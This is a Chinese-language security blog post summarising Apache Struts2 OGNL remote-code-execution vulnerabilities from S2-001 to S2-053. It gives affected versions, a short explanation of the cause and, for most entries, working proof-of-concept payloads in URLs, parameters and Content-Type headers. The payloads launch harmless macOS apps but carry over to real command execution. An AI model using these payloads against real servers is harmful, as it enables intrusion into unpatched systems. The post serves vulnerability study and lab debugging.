前言
本文章不分析各个漏洞的具体原理了,这篇文章https://www.freebuf.com/vuls/217482.html已经归纳了struts2历史漏洞的分析。大部分漏洞都是因为执行了ongl表达式造成的,关于ognl前一篇文章也做了详细的介绍。我就做简单的归纳,以及选代表漏洞做具体的调试过程。
strust2漏洞简要分析
S2-001
适用版本:2.0.0 – 2.0.8
POC:
1 | %{"open /Applications/Calculator.app/")} .lang.Runtime ().exec( |
简单原理:
没有任何过滤。struts2用来处理传入参数以及request中各项参数的值栈OgnlValueStack在进行取值的时候,就会去调用ognl的getValue参数,从而造成命令执行。
S2-003
适用版本:2.0.0 – 2.1.8.1
POC:
1 | http://www.glassy.com/test.action?('\u0023context[\'xwork.MethodAccessor.denyMethodExecution\']\u003dfalse')(a)(b)&('\u0040java.lang.Runtime@getRuntime().exec(\'open\u0020/Applications/Notes.app/\')')(a)(b) |
简单原理:
Ognl.setValue同意具有执行java代码的能力,S2-003就是利用了Ognl.setValue的执行java代码的能力造成的RCE。需要构造ASTEval语法树:
1 | OgnlContext context = new OgnlContext(); |
2 | Ognl.setValue("(\"@java.lang.Runtime@getRuntime().exec(\'open /Applications/Calculator.app/\')\")(glassy)(amadeus)",context,""); |
S2-005
适用版本:2.0.0 – 2.1.8.1
POC:
1 | http://www.glassy.com/test.action?('\u0023context[\'xwork.MethodAccessor.denyMethodExecution\']\u003dfalse')(a)(b)&('\u0023_memberAccess.excludeProperties\u003d@java.util.Collections@EMPTY_SET')(a)(b)&('\u0023_memberAccess.allowStaticMethodAccess\u003dfalse')(a)(b)&('\u0040java.lang.Runtime@getRuntime().exec(\'open\u0020/Applications/Notes.app/\')')(a)(b) |
简单原理:
S2-005就是对于S2-003的绕过,从上面的修复可以看到,补丁的关键部分在于通过对securityMemberAccess的两个成员变量allowStaticMethodAccess和excludeProperties对OGNL表达式能否加载函数,然而通过OGNL表达式,我们可以改写这两个变量的值(和denyMethodExecution是一个套路),来实现补丁的绕过。
S2-007
适用版本:2.0.0 – 2.2.3
提交的参数配置了验证规则并对提交的参数进行类型转换的时候会造成OGNL表达式的执行,具体是由ConversionErrorInterceptor拦截器触发的。
S2-009
适用版本:2.0.0 – 2.3.1.1
S2-009其实就是对003和005的绕过。
简单原理:
1 | OgnlContext context = new OgnlContext(); |
2 | Ognl.setValue("password",context,"@java.lang.Runtime@getRuntime().exec('open /Applications/Notes.app/')(glassy)"); |
3 | Ognl.setValue("a[(password)(glassy)]",context,"true"); |
第一行代码用于将password-payload的map写入ognl的root中去,第二行代码中的a[(password)(glassy)]在AST树中进行解析的时候按照从右到左,从里到外的顺序进行解析,因此优先解析(password)(glassy),password的值在root中有(password-payload),于是解析成了payload(glassy)的形式,然后就是和ST2-003一样的原理造成了RCE了。
S2-012
适用版本:Struts Showcase 2.0.0 – Struts Showcase 2.3.14.2
POC:
1 | %{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"/bin/bash", "-c", "open /Applications/Notes.app/"})).start()} |
简单原理:
造成这个RCE的问题出在了重定向上,当需要从ST2的值栈中读取数据作为重定向的参数,而这个值又是前端可控的情况下可以造成RCE。注意:
这次的poc没有使用Runtime类而改用了ProcessBuilder类,这个类有一个优势,它不是静态类,命令执行的时候调用的start方法也不是静态方法,不受OgnlValueStack类的allowStaticMethodAccess值的限制。
S2-013
适用版本:2.0.0 – 2.3.14.1
简单原理:
jsp通过s:url或s:a标签来动态生成跳转的action的时候,如果想把jsp里面的参数带到action的后面,就需要配置includeParams,这样的话服务端就会先去拿到jsp的参数,并带到ST2的ognl里面计算一下这个参数再去拼接到action后面,从而造成了rce。
S2-015
适用版本:2.0.0 – 2.3.14.2
使用通配符*来做action映射的时候会导致问题。
1 | <action name="*" class="example.ExampleSupport"> |
2 | <result>/example/{1}.jsp</result> |
3 | </action> |
ST2处理通配符配置的action映射的时候流程是这样的:如果一个请求的action在映射中不存在,那么就会去匹配通配符,ST2会根据请求的action名来加载对应的jsp文件。以上面的配置为例子,当请求一个struts.xml中不存在的test.action的时候,ST2就会去吧/example/test.jsp的内容返回给前端。
S2-016
适用版本:2.0.0 – 2.3.15
POC:
1 | http://www.glassy.com/Struts2Demo_war_exploded/hello.action?redirect:%24%7b%23a%3d(new+java.lang.ProcessBuilder(new+java.lang.String%5b%5d%7b%27%2fbin%2fbash%27%2c+%27-c%27%2c%27open+%2fApplications%2fNotes.app%2f%27%7d)).start()%7d |
简单原理:
ST2使用action:或redirect:\redirectAction:作为前缀参数来进行短路导航状态变化,后面的语句会直接进行ognl表达式计算。
##S2-019
适用版本:2.0.0 – 2.3.15.1
POC:
1 | http://www.glassy.com/Struts2Demo_war_exploded/hello.action?debug=command&expression=%23a%3d(new+java.lang.ProcessBuilder(%27open+%2fApplications%2fNotes.app%2f%27)).start() |
简单原理:
当struts2开启求开发者模式时候,可以直接远程通过debug参数获取调试模式,如果模式是command,则把expression参数放到stack.findValue中,最终放到了ognl.getValue中。
S2-029
适用版本:2.0.0 – 2.3.24.1 (不包括2.3.20.3)
S2-032
适用版本:2.3.20 – 2.3.28(2.3.20.3和2.3.24.3除外)
S2-032
适用版本:2.3.20 – 2.3.28(2.3.20.3和2.3.24.3除外)
POC
1 | http://www.glassy.com/struts2-showcase/home11.action?method:%23_memberAccess%3d@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,@java.lang.Runtime@getRuntime().exec(%23parameters.cmd%5B0%5D),d&cmd=/Applications/Notes.app/Contents/MacOS/Notes |
简单原理:
这个版本漏洞要求在struts.xml中将DynamicMethodInvocation设置为true才能利用成功。(低版本ST2的DynamicMethodInvocation默认为true,高版本默认为false)
1 | <constant name="struts.enable.DynamicMethodInvocation" value="true" /> |
当所有的interceptors调用完成后,计算返回码的时候,ST2就开始去计算我们最初传过来的method:后面的值,从而把内容放进了ognl.getValue,造成了RCE。
S2-045
适用版本:2.3.5 – 2.3.31, 2.5 – 2.5.10
POC:
1 | Content-Type:%{(#glassy='multipart/form-data').(#_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#a=(new java.lang.ProcessBuilder('/Applications/Notes.app/Contents/MacOS/Notes')).start())} |
简单原理:
ST2收到的request包包含Content-Type,并且Content-Type中包含“multipart/form-data”的时候会把请求交给MultiPartRequestWrapper处理,经过几个函数后,报错的信息被传入了TextParseUtil.translateVariables,translateVariables会在后续的调用中将报错信息中用%{}包裹的内容带入ognl.getValue。
S2-046
同s2-045
S2-048
适用版本:使用了Struts 1 plugin 和Struts 1 action 的2.3.x 版本
得使用到struts1,条件苛刻,不具体分析,有兴趣看freebuf的详细分析
S2-053
适用版本:2.0.0 – 2.3.33 , 2.5 – 2.5.10.1
POC:
1 | http://www.glassy.com/Struts2Demo_war_exploded/s2053.action?name=%25%7b(%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS).(%23a%3d(new+java.lang.ProcessBuilder(%27%2fApplications%2fNotes.app%2fContents%2fMacOS%2fNotes%27)).start())%7d |
简单原理:
053版本的利用条件也比较苛刻,只有服务端将用户可控的参数放到了Freemarker的标签属性中的时候,才会造成RCE,实例写法如下,
1 | <"${name}"/> .url value= |
当name参数是客户端传过来的时候,就会在ST2服务器上造成RCE。st2看到返回的页面是Freemarker模板的,所以交给FreemarkerResult类处理,Freemarker在处理的时候需要去找name的值以便生成完整的标签,于是通过ST2去findString,发现name参数是ognl表达式,于是交给了ognl.getValue,造成了rce。
漏洞总结
漏洞名称 | 命令注入位置 | OGNL执行函数 | 漏洞成因 |
---|---|---|---|
S2-001 | 参数值 | Ognl.getValue | 当参数值是形如%{*}的形式的时候,ST2会把这个值当做OGNL表达式去执行。 |
S2-003 | 参数名 | Ognl.setValue | 通过构造形如(exp)(a)(b)的形式的表达式,放入ognl.setvalue,最终会将exp带入ognl.getvalue |
S2-005 | 参数名 | Ognl.setValue | S2-003的绕过,通过ognl表达式,可以对ognl的root、context中的值做任意修改,从而绕过基于定义变量值的补丁 |
S2-007 | 参数值 | Ognl.getValue | 当对参数做了类型限制,而类型转换出错的时候,ST2会把出错的参数值带入Ognl.getValue |
S2-009 | 参数值和参数名的配合 | Ognl.setValue | 003和005的绕过通过构造一个带有payload的值a传给ognl,再通过把(b)(a)带如ognl.setvalue从而造成和005一样的rce |
S2-012 | 重定向参数 | Ognl.getValue | 计算重定向url的时候会把重定向参数的值放入ognl.getvalue中 |
S2-013 | 使用特殊s:url或者s:a标签的action的参数值 | Ognl.getValue | 计算标签中action路径的时候,会把参数值带入ognl.getvalue |
S2-015 | action值 | Ognl.getValue | 计算重定向url的时候会把action的值放入ognl.getvalue中 |
S2-016 | action:或redirect:\redirectAction:后面的值 | Ognl.getValue | 同012 |
S2-019 | debug和expression的参数值 | Ognl.getValue | ST2开启调试模式的时候,自带的可以执行ognl表达式的功能 |
S2-029 | 写入jsp中st2标签特殊属性值中的参数值 | Ognl.getValue | 返回给前端的jsp中的st2标签的属性值是形如%{exp}的形式的时候,会把exp放入ognl.getvalue |
S2-032 | method:后的参数值 | Ognl.getValue | 计算返回结果的时候,ST2就开始去计传过来的method:后面的值,从而把内容放进了ognl.getValue |
S2-045 | Content-Type的值 | Ognl.getValue | ST2在处理上传文件出错的时候且错误信息中带%{exp}的时候,会把exp带入ognl.getValue |
S2-048 | 传入ActionMessage的key中的参数值 | Ognl.getValue | ST2处理ST1的action的时候会把ActionMessage的key传给ognl.getValue |
S2-053 | Freemarker的标签属性中的参数值 | Ognl.getValue | 计算Freemarker的标签属性值的时候会参数的值放入ognl.getvalue中 |
strust2漏洞调试
https://github.com/proudwind/struts2_vulns这个地址是struts2漏洞调试环境。
需要注意都是部署环境的时候,你要测试哪个漏洞就要修改pom.xml的struts2-core版本为相应漏洞的版本,另外struts2的filter-class也需要做相应的修改。
Struts2 001漏洞调试
先放着,后面补
Strust2 003漏洞调试
先放着,后面补
参考:
https://seaii-blog.com/index.php/2019/12/29/90.html
https://www.freebuf.com/vuls/217482.html